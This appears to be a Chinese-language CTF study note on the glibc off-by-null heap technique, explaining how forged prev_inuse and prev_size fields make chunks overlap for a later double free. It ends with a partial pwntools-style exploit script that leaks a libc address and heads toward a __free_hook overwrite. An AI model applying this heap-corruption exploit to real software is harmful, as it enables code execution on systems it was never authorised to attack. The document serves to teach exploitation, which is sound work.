prev_inuse位和size of previous chunk位在多数libc版本下在chunk在fastbin和tcache中不会出现
利用 off by null
首先创建四个chunk
1 2 3 4
chunk 1 chunk 2 #利用 off by null的chunk chunk 3 chunk 4 #防止和topchunk合并
首先释放chunk1,填充chunk2,让chunk3中的prev_inuse位为0,改变chunk3中size of previous chunk位为size of chunk1 + size of chunk2,之后释放chunk3,即可把chunk1、chunk2、chunk3合并成一个堆,但此时chunk2并没有被释放,因此可以进行后续double free等利用。
注意 chunk1,chunk3不能进入fastbin和tcache中
若利用 off by null时改变了chunk3 的size位,会导致chunk3+size时找不到prev_inuse位,造成报错,因此有时需要伪造chunk3的nextchunk的prev_inuse位。
for i inrange(7):#填满tcache add(0x1f8) for i inrange(7): free(4+i) free(0) edit(1,'1'*0x1f8)#利用check改变p位 edit(1,b'1'*0x1f0+p64(0x400))#伪造size of previous chunk #free(1) edit(2,b'\x00'*0x1f8+p64(0x11))#改变了size 去伪造nextchunk的p位 free(2) for i inrange(8):#取出tcache,切割unsortedbin让unsortedbin的fd和bk改到1号位置 add(0x1f0) #下面利用freehook show(1) addr=b'0x'+r.recvuntil("a0") addr=int(addr,16)-0x3ebca0 print(hex(addr)) add(0x1f0) free(9) free(10)